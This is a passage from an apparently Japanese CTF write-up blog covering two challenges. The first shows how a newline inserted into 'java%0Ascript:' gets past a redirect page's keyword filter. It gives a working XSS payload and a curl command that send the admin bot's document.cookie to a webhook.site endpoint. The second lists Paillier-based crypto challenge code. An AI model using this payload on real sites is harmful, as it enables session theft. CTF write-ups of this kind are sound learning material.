Index

2/15 You are being redirected

image.png

リダイレクトURLを生成してリンクを踏むとリダイレクト先に飛ぶ。

redirect.html

<body>
  <div class="card">
    <p class="muted">You are being redirected to</p><p><a id="link"></a></p>
  </div>
  <script>
    const FORBIDDEN = ["data", "javascript", "blob"];

    const params = new URLSearchParams(window.location.search);
    let dest = params.get('to') ?? "/";
    const link = document.getElementById("link");

    if(FORBIDDEN.some(str => dest.toLowerCase().includes(str))) {
      dest = "/";
    }
    
    const url = new URL(dest, window.location.href);
    link.href = url.href;
    link.innerText = url.href;
    setTimeout(() => {
      window.location.replace(url.href);
    }, 2000);

  </script>
</body>

FORBIDDENを含むURLには遷移できない。

new URL()のURLパーサは、改行などの制御文字を無視/除去して正規化する挙動がある。

なので java\\nscript:javascript: として解釈され、フィルタを回避できる。

http://<adminbot>/api/reportに以下を送る。

path: /redirect?to=java%0Ascript:fetch('<https://webhook.site/><token>?c='+encodeURIComponent(document.cookie))

curl

BOT_URL="<http://34.170.146.252:28909>"
curl -s -X POST "$BOT_URL/api/report" \\
  -H 'Content-Type: application/json' \\
  --data "{\\"path\\":\\"redirect?to=java%0Ascript:fetch('<https://webhook.site/><token>?c='.concat(encodeURIComponent(document.cookie)))\\"}"
echo

2/16 Alpaillier ★Author's writeup

作問者でした。ジャンル・難易度問わずに作問続けていきたい。

問題

def main():
    flag = os.getenv("FLAG", "Alpaca{REDACTED}").encode()

    bits = 1024
    p = getPrime(bits // 2)
    q = getPrime(bits // 2)
    n = p * q
    n2 = n * n
    g = n + 1

    r = getRandomRange(2, n - 1)
    while GCD(r, n) != 1:
        r = getRandomRange(2, n - 1)

    cs = []
    rn = pow(r, n, n2)
    for b in flag:
        c = (pow(g, b, n2) * rn) % n2
        cs.append(c)

    print(f"n = {n}\\n")
    print(f"c = {cs}\\n")